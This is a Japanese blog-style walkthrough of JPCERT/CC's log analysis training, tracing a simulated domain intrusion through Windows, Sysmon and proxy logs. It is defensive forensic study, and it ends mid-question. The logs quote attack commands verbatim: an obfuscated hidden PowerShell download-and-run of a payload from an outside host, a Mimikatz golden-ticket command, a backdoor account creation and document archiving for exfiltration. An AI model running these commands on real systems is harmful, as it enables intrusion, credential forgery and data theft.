JPCERT/CC の Log Analysis Training をやってみた

このトレーニングデータは，JPCERT/CC が Internet Week 2016、2017、2018、2019 にて実施したトレーニングの資料を編集して公開したもの。
私は，Internet Week 2017 のデータを１回勉強したことがあったので，今回は２回目のチャレンジとなる。

トレーニングデータと解説のダウンロード先

https://github.com/JPCERTCC/log-analysis-training

想定

```
ドメイン: example.co.jp
ネットワーク: 192.168.16.1/24

プロキシサーバ
192.168.16.10

AD
192.168.16.1

ホスト名 IPアドレス ユーザ名 OS
WIN-WFBHIBE5GXZ 192.168.16.1 administrator Windows Server 2008
Win7_64JP_01 192.168.16.101 chiyoda.tokyo Windows 7
Win7_64JP_02 192.168.16.102 yokohama.kanagawa Windows 7
Win7_64JP_03 192.168.16.103 urayasu.chiba Windows 7
Win7_64JP_04 192.168.16.104 urawa.saitama Windows 7
Win7_64JP_05 192.168.16.105 hakata.fukuoka Windows 7
Win7_64JP_06 192.168.16.106 sapporo.hokkaido Windows 7
Win7_64JP_07 192.168.16.107 nagoya.aichi Windows 7
Win7_64JP_08 192.168.16.108 sakai.osaka Windows 7
Win10_64JP_09 192.168.16.109 maebashi.gunma Windows 10
Win10_64JP_10 192.168.16.110 utsunomiya.tochigi Windows 10
Win10_64JP_11 192.168.16.111 mito.ibaraki Windows 10
Win10_64JP_12 192.168.16.112 naha.okinawa Windows 10
```

# ハンズオン 1

マルウエア感染端末の調査
Win7_64JP_01 でマルウェア win.exe を検知した。

### Q1. マルウエアの通信先IPアドレスを特定してください。

解析対象物

```
Powershell.csv
Security.csv
Sysmon.csv
TaskScheduler.csv
```
解析開始
win.exeがログ中にあるか？

```
$ cat Powershell.csv | grep -F "win.exe" | wc -l
0
$ cat Security.csv | grep -F "win.exe" | wc -l
264
$ cat Sysmon.csv | grep -F "win.exe" | wc -l
14
$ cat TaskScheduler.csv | grep -F "win.exe" | wc -l
0
```

IPアドレスがログ中にあるか？

```
$ cat Powershell.csv | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | wc -l
0
$ cat Security.csv | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | wc -l
9002
$ cat Sysmon.csv | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | wc -l
12
$ cat TaskScheduler.csv | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | wc -l
0
```

Security.csvとSysmon.csvに絞れた。
関係しそうなIPは？

```
$ cat Security.csv | grep -F -A 10 -B 10 "win.exe" | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort | uniq
        宛先アドレス:           198.51.100.101
        送信元アドレス:         192.168.16.101
        送信元アドレス:         192.168.16.109
$ cat Sysmon.csv | grep -F -A 10 -B 10 "win.exe" | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort | uniq
```

宛先アドレスは一つ
198.51.100.101
ビンゴ！

なお，JPCERT/CCのヒントには，
イベントID: 5156に通信が記録される
とあった。

https://docs.microsoft.com/ja-jp/windows/security/threat-protection/auditing/event-5156

ちなみに詳細はこんな感じ。

```
情報,2019/11/07 15:15:03,Microsoft-Windows-Security-Auditing,5156,フィルタリング プラットフォームの接続,"Windows フィルターリング プラットフォームで、接続が許可されました。

アプリケーション情報:
	プロセス ID:		204
	アプリケーション名:	\device\harddiskvolume2\users\chiyoda.tokyo.example\appdata\local\temp\notilv.exe

ネットワーク情報:
	方向:			送信
	送信元アドレス:		192.168.16.101
	ソース ポート:		49602
	宛先アドレス:		198.51.100.101
	宛先ポート:		80
	プロトコル:		6

フィルター情報:
	フィルターの実行時 ID:	0
	レイヤー名:		接続
	レイヤーの実行時 ID:	48"
```


### Q2. マルウエアの動作開始時刻とマルウエアの実行方法を特定してください。

とりあえず，Security.csvを眺めてみる。

```
cat Security.csv | grep -F -A 10 -B 10 "win.exe" | less
```
上の方が新しく，下に行くほど古いデータと判る。
less のコマンド G で末尾にジャンプして，下から見ていく
あった。

```
情報,2019/11/07 15:53:00,Microsoft-Windows-Security-Auditing,4688,プロセス作成,"新しいプロセスが作成されました。

サブジェクト:
        セキュリティ ID:                SYSTEM
        アカウント名:           WIN7_64JP_01$
        アカウント ドメイン:            EXAMPLE
        ログオン ID:            0x3e7

プロセス情報:
        新しいプロセス ID:              0xa2c
        新しいプロセス名:               C:\Intel\Logs\win.exe
        トークン昇格の種類:     TokenElevationTypeDefault (1)
        クリエーター プロセス ID:       0x4a0
```

2019/11/07 15:53:00
ビンゴ

なお，JPCERT/CCのヒントには，
イベントID: 4688に実行したプロセスが記録される
とあった。

https://docs.microsoft.com/ja-jp/windows/security/threat-protection/auditing/event-4688

次は，マルウエアの実行方法
同じように2019/11/07 15:53:00より前の（下の）データを見る

```
cat Security.csv | grep -F -A 10 -B 10 "win.exe" | less
```

無い？
幅（ -A -B ）を広げてみる。

```
cat Security.csv | grep -F -A 30 -B 30 "win.exe" | less
```

あった。

```
情報,2019/11/07 15:49:21,Microsoft-Windows-Security-Auditing,4698,その他のオブジェクト アクセス イベント,"スケジュールされたタスクが作成されました。

サブジェクト:
        セキュリティ ID:                EXAMPLE\Administrator
        アカウント名:           sysg.admin
        アカウント ドメイン:            EXAMPLE
        ログオン ID:            0xfd151

タスク情報:
        タスク名:               \At1
        タスク コンテンツ:              <?xml version=""1.0"" encoding=""UTF-16""?>
<Task version=""1.0"" xmlns=""http://schemas.microsoft.com/windows/2004/02/mit/task"">
  <RegistrationInfo />
  <Triggers>
    <TimeTrigger>
      <StartBoundary>2019-11-07T15:53:00</StartBoundary>
    </TimeTrigger>
  </Triggers>
  <Principals>
    <Principal id=""Author"">
      <UserId>@AtServiceAccount</UserId>
      <LogonType>InteractiveTokenOrPassword</LogonType>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Actions Context=""Author"">
    <Exec>
      <Command>cmd</Command>
      <Arguments>/c C:\Intel\Logs\win.exe</Arguments>
```

タスクスケジューラだ。

https://docs.microsoft.com/ja-jp/windows/security/threat-protection/auditing/event-4698

### Q3. 攻撃者はWin7_64JP_01から別のマシンに侵入を試みています。侵入を試みた別の端末(ホスト名orIPアドレス)を特定してください。

Security.csvを見てみる

```
$ cat Security.csv | grep "宛先アドレス:" | sort | uniq
        宛先アドレス:           10.0.0.0
        宛先アドレス:           192.168.16.1
        宛先アドレス:           192.168.16.10
        宛先アドレス:           192.168.16.101
        宛先アドレス:           192.168.16.102
        宛先アドレス:           192.168.16.103
        宛先アドレス:           192.168.16.104
        宛先アドレス:           192.168.16.105
        宛先アドレス:           192.168.16.106
        宛先アドレス:           192.168.16.107
        宛先アドレス:           192.168.16.108
        宛先アドレス:           192.168.16.109
        宛先アドレス:           192.168.16.110
        宛先アドレス:           192.168.16.111
        宛先アドレス:           192.168.16.112
        宛先アドレス:           192.168.16.255
        宛先アドレス:           198.51.100.101
        宛先アドレス:           198.51.100.105
        宛先アドレス:           224.0.0.22
        宛先アドレス:           224.0.0.252
        宛先アドレス:           80.10.254.120
```

たくさん通信してる。簡単にいかない。

ヒントを見ると
① Sysmon.csvに別の端末のIPアドレスは記録されていないか
② 「ツール分析結果シート」の“net use”を参照
とある

https://blogs.jpcert.or.jp/ja/2015/12/wincommand.html

Sysmon.csvに目を向ける

```
$ cat Sysmon.csv | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort | uniq
CommandLine: cmd /c ""ping 192.168.16.105""
CommandLine: cmd /c ""ping 192.168.16.106""
CommandLine: ping  192.168.16.105
CommandLine: ping  192.168.16.106
CurrentDirectory: C:\Program Files (x86)\Google\Update\1.3.31.5\
ParentCommandLine: cmd /c ""ping 192.168.16.105"""
ParentCommandLine: cmd /c ""ping 192.168.16.106"""
```

だめだ。
ホスト名は？

```
$ cat Sysmon.csv | grep -e "win7" -e "win10" -i | sort | uniq
CommandLine: at.exe  \\Win7_64JP_03 16:17 cmd /c ""C:\Intel\Logs\server.exe""
CommandLine: cmd /c ""copy C:\Intel\Logs\server.exe \\Win7_64JP_03\c$\Intel\Logs\server.exe""
CommandLine: cmd /c ""net use \\Win7_64JP_03\c$""
CommandLine: net  use \\Win7_64JP_03\c$
ParentCommandLine: cmd /c ""net use \\Win7_64JP_03\c$"""
```

Win7_64JP_03
ビンゴ

詳細はこんな感じ

```
情報,2019/11/07 15:59:37,Microsoft-Windows-Sysmon,1,Process Create (rule: ProcessCreate),"Process Create:
UtcTime: 2019-11-07 06:59:37.841
ProcessGuid: {02EA0504-59D9-5A01-0000-0010AAD21100}
ProcessId: 2172
Image: C:\Windows\SysWOW64\cmd.exe
CommandLine: cmd /c ""net use \\Win7_64JP_03\c$""
CurrentDirectory: C:\Windows\system32\
User: EXAMPLE\chiyoda.tokyo
LogonGuid: {02EA0504-41EA-5A01-0000-002074B30100}
LogonId: 0x1b374
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=EE8CBF12D87C4D388F09B4F69BED2E91682920B5
ParentProcessGuid: {02EA0504-41EE-5A01-0000-0010421D0200}
ParentProcessId: 204
ParentImage: C:\Users\chiyoda.tokyo.EXAMPLE\AppData\Local\Temp\notilv.exe
ParentCommandLine: ""C:\Users\chiyoda.tokyo.EXAMPLE\AppData\Local\Temp\notilv.exe"" "
```

### Q4.攻撃者はWin7_64JP_01に別のマシンから侵入しています。不正ログオン元のIPアドレスと使用されたアカウント名は何ですか？

送信元ってどのくらいあるのかな？

```
$ cat Security.csv | grep "送信元アドレス:" | sort | uniq
        送信元アドレス:         0.0.0.0
        送信元アドレス:         192.168.16.101
        送信元アドレス:         192.168.16.109
        送信元アドレス:         192.168.16.255
        送信元アドレス:         224.0.0.1
        送信元アドレス:         224.0.0.252
        送信元アドレス:         239.255.255.250
```

少ない。
192.168.16.109かな？
ビンゴ

192.168.16.109との通信はたくさんあり，使用されたアカウント名は探しにくい

ヒントを見ると
ネットワーク共有へのアクセスを確認
とある

https://docs.microsoft.com/ja-jp/troubleshoot/windows-server/networking/remove-administrative-shares

管理共有を検索する

```
$ cat Security.csv | grep -F -e "c$" -e "admin$" -e "ipc$" -i -A 15 -B 15
| less
情報,2019/11/07 15:44:30,Microsoft-Windows-Security-Auditing,5145,詳細なファイル共有,"クライアントに必要なアクセスを付与できるかどうかについて、ネットワーク共有オブジェクトがチェックされました。

サブジェクト:
        セキュリティ ID:        EXAMPLE\Administrator
        アカウント名:           sysg.admin
        アカウント ドメイン:    EXAMPLE
        ログオン ID:            0xfd151

ネットワーク情報:
        オブジェクトの種類:     File
        送信元アドレス:         192.168.16.109
        ソース ポート:          52765

共有情報:
        共有名:                 \\*\C$
        共有パス:               \??\C:\
        相対ターゲット名:       Intel\Logs\win.exe
```

sysg.admin

### Q5. Win7_64JP_01でPowerShellファイルが実行されたようです。このファイルは何を行うものですか？

PowerShellなので拡張子ps1で探す

```
cat Sysmon.csv | grep -F ".ps1"
CommandLine: powershell  -ExecutionPolicy ByPass -File C:\Intel\Logs\s.ps1
ParentCommandLine: cmd /c ""powershell -ExecutionPolicy ByPass -File C:\Intel\Logs\s.ps1"""
CommandLine: cmd /c ""powershell -ExecutionPolicy ByPass -File C:\Intel\Logs\s.ps1""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/server.exe"", ""C:\Intel\Logs\server.exe"") >> C:\Intel\Logs\s.ps1""
CommandLine: cmd /c ""echo $p = New-Object System.Net.WebClient > C:\Intel\Logs\s.ps1""
CommandLine: powershell  -ExecutionPolicy ByPass -File C:\Intel\Logs\z.ps1
ParentCommandLine: cmd /c ""powershell -ExecutionPolicy ByPass -File C:\Intel\Logs\z.ps1"""
CommandLine: cmd /c ""powershell -ExecutionPolicy ByPass -File C:\Intel\Logs\z.ps1""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/mz.exe"", ""C:\Intel\Logs\mz.exe"") >> C:\Intel\Logs\z.ps1""
CommandLine: cmd /c ""echo $p = New-Object System.Net.WebClient > C:\Intel\Logs\z.ps1""
```

各行の詳細はこんな感じ

```
情報,2019/11/07 15:56:03,Microsoft-Windows-Sysmon,1,Process Create (rule: ProcessCreate),"Process Create:
UtcTime: 2019-11-07 06:56:03.937
ProcessGuid: {02EA0504-5903-5A01-0000-0010471E1100}
ProcessId: 644
Image: C:\Windows\SysWOW64\cmd.exe
CommandLine: cmd /c ""echo $p = New-Object System.Net.WebClient > C:\Intel\Logs\z.ps1	""
CurrentDirectory: C:\Windows\system32\
User: EXAMPLE\chiyoda.tokyo
LogonGuid: {02EA0504-41EA-5A01-0000-002074B30100}
LogonId: 0x1b374
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=EE8CBF12D87C4D388F09B4F69BED2E91682920B5
ParentProcessGuid: {02EA0504-41EE-5A01-0000-0010421D0200}
ParentProcessId: 204
ParentImage: C:\Users\chiyoda.tokyo.EXAMPLE\AppData\Local\Temp\notilv.exe
ParentCommandLine: ""C:\Users\chiyoda.tokyo.EXAMPLE\AppData\Local\Temp\notilv.exe"" "
```


hxxp://anews-web.co/server.exe
hxxp://anews-web.co/mz.exe
ツールのダウンロード

ハンズオン1のまとめ
Win7_64JP_01（192.168.16.101）のログを解析
2019/11/07 15:42:56　Win10_64JP_09（192.168.16.109）sysg.admin から侵入された
2019/11/07 15:53:00　マルウエアwin.exeの動作開始
2019/11/07 15:56:03　PowerShellでanews-web.coからツールをダウンロード
2019/11/07 15:59:37　Win7_64JP_03（192.168.16.103）に侵入を試みた

# ハンズオン2

横展開（感染の拡大）された端末の調査
解析対象物：Win7_64JP_03のログ

```
Security.csv
TaskScheduler.csv
```

### Q1. Win7_64JP_03へ侵入後、どのようなツールやコマンドが実行されたか調査してください。

cat Security.csv | grep 4698
なし

cat Security.csv | grep "net use"
なし

正解
監査ポリシー、Sysmonの設定が行われていないため不明。

# ハンズオン3

侵入元端末の調査
解析対象物：Win7_64JP_09 のログ

```
Powershell.csv
Security.csv
Sysmon.csv
TaskScheduler.csv
```

### Q1. Win7_64JP_01の侵入元であるWin10_64JP_09が侵入した端末を特定してください。

```
$ cat Sysmon.csv | grep "net use"
ParentCommandLine: cmd /c ""net use \\Win7_64JP_01\c$"""
ParentCommandLine: cmd /c ""net use \\Win7_64JP_01\c$"""
CommandLine: cmd /c ""net use \\Win7_64JP_01\c$""
ParentCommandLine: cmd /c ""net user machida.kanagawa /delete"""
ParentCommandLine: cmd /c ""net user machida.kanagawa /delete"""
CommandLine: cmd /c ""net user machida.kanagawa /delete""
ParentCommandLine: cmd /c ""net use j: \\192.168.16.1\c$ h4ckp@ss /user:example.co.jp\machida.kanagawa"""
ParentCommandLine: cmd /c ""net use j: \\192.168.16.1\c$ h4ckp@ss /user:example.co.jp\machida.kanagawa"""
CommandLine: cmd /c ""net use j: \\192.168.16.1\c$ h4ckp@ss /user:example.co.jp\machida.kanagawa""
ParentCommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain"""
ParentCommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain"""
CommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain""
```

192.168.16.1
Win7_64JP_01（既知）

詳細は

```
情報,2019/11/07 15:31:02,Microsoft-Windows-Sysmon,1,Process Create (rule: ProcessCreate),"Process Create:
UtcTime: 2019-11-07 06:31:02.040
ProcessGuid: {CC41BF7E-5326-5A01-0000-0010520C2300}
ProcessId: 1296
Image: C:\Windows\SysWOW64\cmd.exe
CommandLine: cmd /c ""net use j: \\192.168.16.1\c$ h4ckp@ss /user:example.co.jp\machida.kanagawa""
CurrentDirectory: C:\Users\maebashi.gunma\Desktop\
User: EXAMPLE\maebashi.gunma
```


### Q2. Win10_64JP_09がマルウエアに感染した原因を特定してください。

http通信を探してみる

```
$ cat Sysmon.csv | grep "http"
ParentCommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/ms14068.rar"", ""C:\Intel\Logs\ms14068.rar"") >> C:\Intel\Logs\p.ps1"""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/ms14068.rar"", ""C:\Intel\Logs\ms14068.rar"") >> C:\Intel\Logs\p.ps1""
ParentCommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/rar.exe"", ""C:\Intel\Logs\rar.exe"") >> C:\Intel\Logs\p.ps1"""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/rar.exe"", ""C:\Intel\Logs\rar.exe"") >> C:\Intel\Logs\p.ps1""
ParentCommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/mz.exe"", ""C:\Intel\Logs\mz.exe"") >> C:\Intel\Logs\z.ps1"""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/mz.exe"", ""C:\Intel\Logs\mz.exe"") >> C:\Intel\Logs\z.ps1""
ParentCommandLine: ""C:\Windows\System32\cmd.exe"" /c start winword /m&powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg                                 """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c&C:\Users\MAEBAS~1.GUN\AppData\Local\Temp\dwm.exe ""%CD%"""
CommandLine: powershell  -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg                                 """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c
ParentCommandLine: ""C:\Windows\System32\cmd.exe"" /c start winword /m&powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg                                 """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c&C:\Users\MAEBAS~1.GUN\AppData\Local\Temp\dwm.exe ""%CD%"""
ParentCommandLine: ""C:\Windows\System32\cmd.exe"" /c start winword /m&powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg                                 """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c&C:\Users\MAEBAS~1.GUN\AppData\Local\Temp\dwm.exe ""%CD%"""
CommandLine: ""C:\Windows\System32\cmd.exe"" /c start winword /m&powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg                                 """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c&C:\Users\MAEBAS~1.GUN\AppData\Local\Temp\dwm.exe ""%CD%""
ImageLoaded: C:\Windows\System32\drivers\http.sys
```

ダウンロードしたdwm.exeがあやしい

ん？これで正解？

JPCERT/CCの答えに
Powershellが実行されてdwm.exeが作成された
と書いてる

詳細

```
情報,2019/11/07 15:16:53,Microsoft-Windows-Sysmon,1,Process Create (rule: ProcessCreate),"Process Create:
UtcTime: 2019-11-07 06:16:53.068
ProcessGuid: {CC41BF7E-4FD5-5A01-0000-0010B7831B00}
ProcessId: 5560
Image: C:\Windows\System32\cmd.exe
CommandLine: ""C:\Windows\System32\cmd.exe"" /c start winword /m&powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile(""""""http://news-landsbbc.co/upload/21.jpg                                 """""", """"""$env:tmp\dwm.exe"""""")';Invoke-Expression $c&C:\Users\MAEBAS~1.GUN\AppData\Local\Temp\dwm.exe ""%CD%""
CurrentDirectory: C:\Users\maebashi.gunma\Desktop\
User: EXAMPLE\maebashi.gunma
```

### Q3. 漏えいした可能性がある情報を特定してください。

さっきのhttpのgrepでrar.exeをダウンロードしていたので，データの圧縮にrarを使っていると推測

```
$ cat Sysmon.csv | grep -F "rar.exe"
Image: C:\Intel\Logs\rar.exe"
Image: C:\Intel\Logs\rar.exe
CommandLine: C:\Intel\Logs\rar.exe  a -r -ed -v300m -taistoleit C:\Intel\Logs\d.rar ""\\Win7_64JP_01\c$\Users\chiyoda.tokyo.EXAMPLE\Documents"" -n*.docx -n*.pptx -n*.txt -n*.xlsx
ParentCommandLine: cmd /c ""C:\Intel\Logs\rar.exe a -r -ed -v300m -taistoleit C:\Intel\Logs\d.rar ""\\Win7_64JP_01\c$\Users\chiyoda.tokyo.EXAMPLE\Documents"" -n*.docx -n*.pptx -n*.txt -n*.xlsx"""
ParentCommandLine: cmd /c ""C:\Intel\Logs\rar.exe a -r -ed -v300m -taistoleit C:\Intel\Logs\d.rar ""\\Win7_64JP_01\c$\Users\chiyoda.tokyo.EXAMPLE\Documents"" -n*.docx -n*.pptx -n*.txt -n*.xlsx"""
CommandLine: cmd /c ""C:\Intel\Logs\rar.exe a -r -ed -v300m -taistoleit C:\Intel\Logs\d.rar ""\\Win7_64JP_01\c$\Users\chiyoda.tokyo.EXAMPLE\Documents"" -n*.docx -n*.pptx -n*.txt -n*.xlsx""
Image: C:\Intel\Logs\rar.exe"
Image: C:\Intel\Logs\rar.exe
CommandLine: C:\Intel\Logs\rar.exe  x C:\Intel\Logs\ms14068.rar C:\Intel\Logs\
ParentCommandLine: cmd /c ""C:\Intel\Logs\rar.exe x C:\Intel\Logs\ms14068.rar C:\Intel\Logs\"""
ParentCommandLine: cmd /c ""C:\Intel\Logs\rar.exe x C:\Intel\Logs\ms14068.rar C:\Intel\Logs\"""
CommandLine: cmd /c ""C:\Intel\Logs\rar.exe x C:\Intel\Logs\ms14068.rar C:\Intel\Logs\""
ParentCommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/rar.exe"", ""C:\Intel\Logs\rar.exe"") >> C:\Intel\Logs\p.ps1"""
CommandLine: cmd /c ""echo $p.DownloadFile(""http://anews-web.co/rar.exe"", ""C:\Intel\Logs\rar.exe"") >> C:\Intel\Logs\p.ps1"
```

漏洩したのは
\\\Win7_64JP_01\c$\Users\chiyoda.tokyo.EXAMPLE\Documentsの
*.docx *.pptx *.txt *.xlsx

### Q4. Win10_64JP_09でPowerShellファイルが実行されたようです。このファイルは何を行うものですか？

これもさっきのhttpのgrepで答えが出てる
ファイルのダウンロード
hxxp://anews-web.co/mz.exe
hxxp://anews-web.co/rar.exe
hxxp://anews-web.co/ms14068.rar

ハンズオン3のまとめ
Win7_64JP_09（192.168.16.109）のログを解析
2019/11/07 15:16:53　dwm.exeをダウンロード
2019/11/07 15:31:02　ADに侵入
2019/11/07 15:42:56　Win10_64JP_01にsysg.adminで侵入（ハンズオン1より）

# ハンズオン4

プロキシログの調査
プロキシログからその他の感染端末がないかを調査する

解析対象物
access.log

### Q1. Win10_64JP_09に感染したマルウエアの通信先ドメイン名を特定してください。

exeやjpegに偽装したexeにアクセスした記録を抽出してみる

```
$ cat access.log | grep -F -e ".exe" -e "/21.jpg"
192.168.16.109 - - [07/Nov/2019:15:16:57 +0900] "GET http://news-landsbbc.co/upload/21.jpg HTTP/1.1" 200 183667 "-" "-" TCP_MEM_HIT:NONE
192.168.16.109 - - [07/Nov/2019:15:20:45 +0900] "GET http://biosnews.info/index.php?fn=s3&file=0e0c96b283a944567ddd01c539582cd6/trans/schost.exe HTTP/1.1" 200 43830 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" TCP_MISS:DIRECT
192.168.16.109 - - [07/Nov/2019:15:22:56 +0900] "GET http://anews-web.co/mz.exe HTTP/1.1" 200 431482 "-" "-" TCP_MISS:DIRECT
192.168.16.109 - - [07/Nov/2019:15:25:43 +0900] "GET http://anews-web.co/rar.exe HTTP/1.1" 200 405370 "-" "-" TCP_MISS:DIRECT
192.168.16.109 - - [07/Nov/2019:15:33:26 +0900] "GET http://biosnews.info/index.php?fn=s3&file=0e0c96b283a944567ddd01c539582cd6/trans/schost.exe HTTP/1.1" 200 483 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" TCP_MISS:DIRECT
192.168.16.109 - - [07/Nov/2019:15:44:03 +0900] "GET http://biosnews.info/index.php?fn=s3&file=0e0c96b283a944567ddd01c539582cd6/trans/schost.exe HTTP/1.1" 200 399158 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" TCP_MISS:DIRECT
192.168.16.109 - - [07/Nov/2019:15:48:18 +0900] "GET http://biosnews.info/index.php?fn=s3&file=0e0c96b283a944567ddd01c539582cd6/trans/schost.exe HTTP/1.1" 200 394 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" TCP_MISS:DIRECT
192.168.16.101 - - [07/Nov/2019:15:57:04 +0900] "GET http://anews-web.co/mz.exe HTTP/1.1" 200 431491 "-" "-" TCP_MEM_HIT:NONE
192.168.16.101 - - [07/Nov/2019:16:03:24 +0900] "GET http://anews-web.co/server.exe HTTP/1.1" 200 399226 "-" "-" TCP_MISS:DIRECT
```

news-landsbbc.co
biosnews.info
anews-web.co
ビンゴ

### Q2. Win10_64JP_09以外の端末で不正な通信を行っている端末はありますか？ある場合は、端末を特定してください

```
$ cat access.log | grep -F -e "news-landsbbc.co" -e "biosnews.info" -e "anews-web.co" | awk -F ' ' '{print $1}' | sort | uniq
192.168.16.101
192.168.16.109
```
192.168.16.101
ビンゴ

# ハンズオン5

Active Directoryの調査

解析対象物

```
Security.csv
TaskScheduler.csv
```

### Q1. 「管理者権限」が割り当てられたユーザをすべて特定してください。

https://docs.microsoft.com/ja-jp/windows/security/threat-protection/auditing/event-4672

```
$ cat Security.csv | grep 4672 -A 20 | grep "アカウント名" | sort | uniq
        アカウント名:           Administrator
        アカウント名:           machida.kanagawa
        アカウント名:           maebashi.gunma
        アカウント名:           maebashi.gunma@EXAMPLE.CO.JP
        アカウント名:           sysg.admin
        アカウント名:           sysg.admin@example.co.jp
        アカウント名:           WIN-WFBHIBE5GXZ$
        アカウント名:           WIN-WFBHIBE5GXZ$@EXAMPLE.CO.JP
```

Administrator
machida.kanagawa
maebashi.gunma
sysg.admin

WIN-WFBHIBE5GXZ$はAD自分自身

### Q2. sysg.adminユーザでログオンした端末を特定してください。

https://docs.microsoft.com/ja-jp/windows/security/threat-protection/auditing/event-4624

```
$ grep -A 32 "4624" Security.csv | grep -F -A 11 "sysg.admin" | grep "アドレ ス" | sort | uniq -c
      2         ソース ネットワーク アドレス:   192.168.16.101
      2         ソース ネットワーク アドレス:   192.168.16.103
      3         ソース ネットワーク アドレス:   192.168.16.109
```

192.168.16.101
192.168.16.103
192.168.16.109
ビンゴじゃない

解説をみると

https://docs.microsoft.com/ja-jp/windows/security/threat-protection/auditing/event-4769

を調べろとある

```
$ grep -A 19 "4769" Security.csv | grep -F -A 9 "sysg.admin" | grep "アドレス" | sort | uniq -c
      5         クライアント アドレス:          ::ffff:192.168.16.101
      4         クライアント アドレス:          ::ffff:192.168.16.103
      1         クライアント アドレス:          ::ffff:192.168.16.104
     25         クライアント アドレス:          ::ffff:192.168.16.109
```

192.168.16.104
初登場じゃん

### Q3. 「sysg.adminユーザ」によるログオンは、管理者の意図しないものでした。どのような攻撃手法を用いて不正ログオンを行ったか特定してください。

ハンズオン3のまとめ（再掲）
2019/11/07 15:16:53　dwm.exeをダウンロード
2019/11/07 15:31:02　ADに侵入
2019/11/07 15:42:56　Win10_64JP_01にsysg.adminで侵入（ハンズオン1より）

ハンズオン3のログを見る

```
$ cat Sysmon.csv | grep -F "sysg.admin"
CommandLine: C:\Intel\Logs\mz.exe  ""kerberos::golden /domain:example.co.jp /sid:S-1-5-21-1524084746-3249201829-3114449661 /rc4:b23a3443a12bf736973741f65ddcbc83 /user:sysg.admin /id:500 /ticket:C:\Intel\Logs\500.kirbi"" exit
ParentCommandLine: cmd /c ""C:\Intel\Logs\mz.exe ""kerberos::golden /domain:example.co.jp /sid:S-1-5-21-1524084746-3249201829-3114449661 /rc4:b23a3443a12bf736973741f65ddcbc83 /user:sysg.admin /id:500 /ticket:C:\Intel\Logs\500.kirbi"" exit"""
ParentCommandLine: cmd /c ""C:\Intel\Logs\mz.exe ""kerberos::golden /domain:example.co.jp /sid:S-1-5-21-1524084746-3249201829-3114449661 /rc4:b23a3443a12bf736973741f65ddcbc83 /user:sysg.admin /id:500 /ticket:C:\Intel\Logs\500.kirbi"" exit"""
CommandLine: cmd /c ""C:\Intel\Logs\mz.exe ""kerberos::golden /domain:example.co.jp /sid:S-1-5-21-1524084746-3249201829-3114449661 /rc4:b23a3443a12bf736973741f65ddcbc83 /user:sysg.admin /id:500 /ticket:C:\Intel\Logs\500.kirbi"" exit""
```
"kerberos::golden" から Mimikatz（S0002）とわかる。

https://attack.mitre.org/software/S0002/

Pass the Ticket（T1550.003）

https://attack.mitre.org/techniques/T1550/003/

### Q4. 攻撃者によって追加されたユーザを特定してください。

ユーザ追加は net user コマンド

```
$ cat Sysmon.csv | grep "net user"
ParentCommandLine: cmd /c ""net user machida.kanagawa /delete"""
ParentCommandLine: cmd /c ""net user machida.kanagawa /delete"""
CommandLine: cmd /c ""net user machida.kanagawa /delete""
ParentCommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain"""
ParentCommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain"""
CommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain""
```

machida.kanagawa

詳細

```
情報,2019/11/07 15:29:37,Microsoft-Windows-Sysmon,1,Process Create (rule: ProcessCreate),"Process Create:
UtcTime: 2019-11-07 06:29:37.891
ProcessGuid: {CC41BF7E-52D1-5A01-0000-001062972200}
ProcessId: 3792
Image: C:\Windows\SysWOW64\cmd.exe
CommandLine: cmd /c ""net user machida.kanagawa h4ckp@ss /add /domain""
CurrentDirectory: C:\Users\maebashi.gunma\Desktop\
User: EXAMPLE\maebashi.gunma
```

### Q5. 「machida.kanagawa」は不正なユーザ追加であることが分かりました。どのような攻撃手法を用いて不正な操作を行ったのでしょうか。

ハンズオン3のまとめ（再掲）
2019/11/07 15:16:53　dwm.exeをダウンロード
